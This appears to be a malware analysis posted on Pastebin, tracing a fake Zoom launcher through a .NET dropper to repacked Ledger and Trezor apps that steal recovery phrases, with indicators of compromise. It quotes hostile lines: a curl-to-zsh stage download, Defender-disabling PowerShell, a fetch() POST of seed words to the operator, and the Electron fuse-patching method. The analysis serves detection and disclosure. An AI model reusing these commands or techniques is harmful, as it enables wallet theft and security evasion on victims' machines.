Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Fake Zoom Launcher Leading to Ledger and Trezor Recovery-Phrase Theft + A Third Secret Thing (???)
- Summary
- I found this while hunting for potentially malicious pages in the Censys data set. It initially looked like a fake Zoom launcher, but following the chain far enough led to a Ledger and Trezor recovery-phrase stealer.
- The end goal is straightforward: replace an installed Ledger or Trezor desktop app with a repacked copy that asks the user for their recovery phrase, then sends those words to the operator.
- The intended chain looks like this:
- A fake Zoom page tries several ways to reach a native execution context.
- The Windows path retrieves PowerShell from /zm/cfg.
- PowerShell downloads a .NET dropper and starts it hidden.
- The dropper attempts persistence, disables security controls, and launches follow-on scripts.
- A wallet-swap script patches Electron security fuses and replaces app.asar in installed Ledger or Trezor applications.
- The repacked wallet app asks for the recovery phrase and POSTs it to the operator.
- Several links in the chain were broken or unproven, so it does not run cleanly end to end as written. The working and nonworking pieces are separated below.
- The Zoom launcher
- The page uses one cleartext inline script with no obfuscation. Its C2 is bound to the page's own origin:
- var C2 = location.origin;
- That means every /zm/* and /assets/* path resolves to the same listener. The only hardcoded external host in the page is datasyncllc[.]net.
- The meeting ID is pulled from /j/, /s/, or the ?id= query parameter. If none is present, the page falls back to 89930854351, so it works without any parameters.
- macOS branch
- The macOS command is:
- curl -kfsSL hxxps://datasyncllc[.]net/cdn/apps/stage2.sh | zsh
- Here, -k ignores certificate validation, -f fails on HTTP errors, and -L follows redirects. The response is piped directly into zsh without first being written to disk.
- The page also sends the command to eight named WebKit message handlers:
- jsOCHelper
- Native
- invoke
- runCommand
- executeScript
- shell
- nativeInterface
- ZoomNative
- Each handler receives the same five-key envelope: a, c, action, command, and args. The idea appears to be that a handler accepting any one of those keys would receive the command.
- In practice, the stage-two URL returned an HTTP 200 response containing a "Site Unavailable" page. Because the status was still 200, curl -f accepted it and passed HTML to zsh. I could not recover a working macOS stage.
- Everything below relates to the Windows branch.
- Windows execution attempts
- The page tries several Windows execution paths:
- ActiveXObject("WScript.Shell").Run
- chrome.webview.hostObjects.shell.Execute
- chrome.webview.postMessage({type:'shell'})
- Zoom SDK calls through postJsMessage, callNative, and invokeNativeFunction
- It also uses off-screen iframes to try two OS protocol handlers:
- ms-officecmd: with a LaunchParam envelope pointing to /zm/cfg
- search-ms:query=zoom&crumb=location:/assets
- Neither protocol-handler path executes anything in an ordinary browser without a privileged receiver.
- The page also posts into real Zoom client frames using three RPC envelope shapes and opens MessageChannel transports using these Zoom-internal channel names:
- ZM_UNIFY_HYBRID_MSG
- CHAT_SDK_RPC
- SYNC_CLIENT_REQUEST
- iframe-chat-sync
- zustand-sync
- livesdk
- chatsdk
- cross-storage
- webim
- Several other scripts look more like proof-of-concept code than working exploits. The V8_SANDBOX path uses resizable ArrayBuffer edge cases, proxy coercion, and an object spray, but it does not contain a read/write primitive, shellcode, or an escape.
- The worker "RCE" is similar. The imported /zm/rce/payload.js file is only 179 bytes. It sets self.RCE=1, posts a same-host callback, and messages its parent. Its CHAIN counters increase when an attempt is made or an API is present, and it asserts CHAIN_COMPLETE, but there is little evidence that it actually achieves code execution.
- The page also tries to register /zm/sw.js as a service worker at scope /. A raw HTTP IP is not a secure context, so a standard browser should refuse the registration. The advertised HTTPS port was not reachable.
- The /zm/cfg path and .NET dropper
- The path that does lead somewhere is /zm/cfg, which returns a single Base64 string. Decoding it first as Base64 and then as UTF-16LE produces PowerShell that:
- forces TLS 1.2;
- writes %TEMP%\z<8 hex>.exe;
- downloads dropper_v2.exe;
- starts it hidden; and
- suppresses errors.
- There is an important qualifier: the download URL specifies HTTPS on port 8080, but that port serves only HTTP. The chain therefore fails at TLS as written. Manually correcting that protocol mismatch allowed me to recover a .NET binary.
- Recovered binary
- Format: PE32+ .NET, IL only
- CLR: v4.0.30319
- Entry point: Microsoft.EdgeUpdate.UpdateAgent.Main
- Version resource: Microsoft Edge Update / 1.3.171.39
- Manifest: asInvoker
- SHA-256: b984bf1324e74be0a1490c22fe2e1af096b6745f97d48c61374caf44f847d647
- The file is signed, but the leaf certificate is self-issued and only claims to be Microsoft:
- C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation
- Certificate SHA-256:
- 66b2cba0979e7f6e5ead494a518214227f4e0f88856535a2384410a8ca9fa500
- The binary stores its strings as 45 Base64 values, each XORed with 0xA7 at runtime. The recovered strings include the base URL hxxps://datasyncllc[.]net/cdn/apps/ and these filenames:
- mp.exe
- mp1.dll
- mp2.dll
- loader.exe
- version.dll
- vstor.dat
- swap.ps1
- r.ps1
- On Windows build 22000 or later, it downloads mp.exe, mp1.dll, and mp2.dll as MiniPlasma.exe, NtApiDotNet.dll, and Microsoft.Win32.TaskScheduler.dll. It runs MiniPlasma.exe, waits up to 15 seconds, writes r.ps1, and then tries to create a scheduled task running as SYSTEM.
- Persistence, execution, and evasion
- The reconstructed r.ps1 does the following:
- Adds a Microsoft Defender exclusion for %APPDATA%\Microsoft\DeviceSync.
- Disables real-time monitoring with Set-MpPreference -DisableRealtimeMonitoring $true.
- Downloads loader.exe as OneDriveStandaloneUpdater.exe, along with version.dll and vstor.dat.
- Starts the renamed loader hidden.
- Waits three seconds and re-enables real-time monitoring.
- Executes swap.ps1 in memory.
- The renamed loader, adjacent version.dll, and fixed working directory are consistent with DLL search-order side-loading. vstor.dat is likely data or an encrypted payload. Neither point is confirmed because all three files were unavailable.
- Wallet application swap
- Unlike the earlier stages, swap.ps1 does not fetch from datasyncllc[.]net. It names a second host:
- $cdn = 'hxxps://wi3sync[.]net/cdn/apps'
- At the time I checked, that host was live and both wallet bundles requested by the script returned HTTP 200.
- The script searches for directories matching Ledger or Trezor under:
- %LOCALAPPDATA%\Programs
- %LOCALAPPDATA%
- %APPDATA%
- %ProgramFiles%
- %ProgramFiles(x86)%
- matching app-* subdirectories
- three Uninstall registry locations, matched on DisplayName
- It keys on these executables:
- Ledger Wallet.exe
- Ledger Live.exe
- Trezor Suite.exe
- All three are Electron applications, which is what makes the replacement possible. An Electron app's code normally lives in resources\app.asar. Replacing that archive changes the application while leaving its icon, install path, and signed launcher in place.
- Electron has defenses against this. The script's Patch-Fuses function scans the wallet executable for Electron's fuse sentinel, reads the following fuse array, and changes positions 4 and 5 from 1 to 0.
- Electron's documented schema places EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar at those positions. Those are the controls that would reject a tampered archive. Once disabled, the replacement bundle loads without an integrity error.
- I checked the byte layout against stock Electron builds: the sentinel is followed by a 0x01 schema byte, a count byte, and then the ASCII fuse array. The script's offset arithmetic lands on that array. The shipping wallet apps I examined had both fuses enabled.
- The script's Swap-Wallet function then:
- Deletes resources\app, since Electron prefers an unpacked directory over the archive.
- Runs icacls resources /grant Everyone:F /T.
- Overwrites resources\app.asar with the downloaded bundle.
- Writes a hidden marker and skips the application on later runs if that marker already exists.
- The bundles identify themselves in their own package.json files:
- ledger.asar: ledger-live-desktop version 2.145.0, product name Ledger Wallet
- trezor.asar: @trezor/suite-desktop version 26.4.2
- Both appear to be repackaged versions of the legitimate wallet applications.
- Recovery-phrase theft
- The Trezor bundle opens to a recovery flow with these steps: Recovery, Device, Seed, and Finish. The first screen says:
- Something went wrong... But don't worry! Your crypto assets are safe and accessible.
- The user is then asked to choose a recovery-phrase length: 12, 18, 20, 24, or 33 words.
- The next screen, "Enter your recovery seed," presents a grid of inputs. Its paste handler splits a pasted phrase across the fields and converts every word to lowercase.
- When the user selects Confirm, the app displays fake progress messages such as "Connecting to device," "Validating seed phrase," and "Restoring wallet data." While that spinner is running, it POSTs the words to:
- fetch('hxxps://datasyncllc[.]net/api/recovery', {
- method: 'POST',
- body: {seedwords, token: '2898635b...', app: 'trezor', url}
- })
- It then displays: "Verification failed. Please check your words and try again."
- That response serves two purposes: it can capture a second attempt if the first contains a typo, and it delays the point at which the user starts questioning why the app requested the phrase.
- The Ledger bundle's injected third step behaves the same way, using the same URL and hardcoded token with app: 'ledger'. Afterward, it sends the window to index.html, returning the user to the real application so it does not appear broken.
- The shared token connects both wallet bundles and both hosts to the same build.
- The listener changed while I was looking at it
- While I continued investigating, the page that had served the Zoom lure began serving a different page titled:
- POC Server - Zoom Security Research
- It displayed this banner:
- AUTHORIZED RESEARCH ONLY All activity is logged locally. No external connections.
- And as well all know that makes it totally legit...
- The page listed these test endpoints:
- /xss — postMessage/XSS test framework
- /protocol — protocol-handler test vectors
- /sw-test — service-worker poisoning tests
- /smb-test — SMB/UNC path NTLM tests
- /ntlm — NTLM authentication capture
- /logs — captured logs
- It also included various exploit and script builders. A Server Info block named zoommeet2312xxqq[.]xyz, ports 8080 and 8443, and this log directory:
- C:\Users\Administrator\Desktop\ZoomAuthorized\poc_server\logs
- Two details stood out. First, "No external connections" was not literally true for clients running the tests: /xss loaded public Zoom frames, and /smb-test referenced an external UNC host. Second, /logs was publicly accessible and exposed paths, headers, user agents, and client addresses.
- Hunting note
- The launcher can be found in the Censys data set with this query:
- Censys search for: /zm/worker-rce
- The wallet-swap tier is Cloudflare-fronted and path-only, so body-content pivots do not reach it. The listener is the visible node.
- Indicators of compromise
- Network indicators
- 209.99.184[.]116
- hxxp://209.99.184[.]116:8080/
- zoommeet2312xxqq[.]xyz
- zoommeet2312xxqq[.]xyz/share
- datasyncllc[.]net
- hxxps://datasyncllc[.]net/cdn/apps/
- hxxps://datasyncllc[.]net/api/recovery
- wi3sync[.]net
- Wallet-swap indicators
- hxxps://wi3sync[.]net/cdn/apps/ledger.asar?v=30 — 176,837,429 bytes
- hxxps://wi3sync[.]net/cdn/apps/trezor.asar?v=30 — 76,017,364 bytes
- Shared token: 2898635beda7bf46e91852d55228a6f3f075f23c3b2fa22dfccd43322adc6a0e
- swap.ps1 hashes
- SHA-256: 7368465fb8d974818c6aa669f94e06347a86f0d2bba53692a5efac9a7d94245a
- SHA-1: c25e41b54459809f25845d90bea304676ee2a589
- MD5: 0a8dd552ca9943989049f104eafdf8a5
Add Comment
Please, Sign In to add comment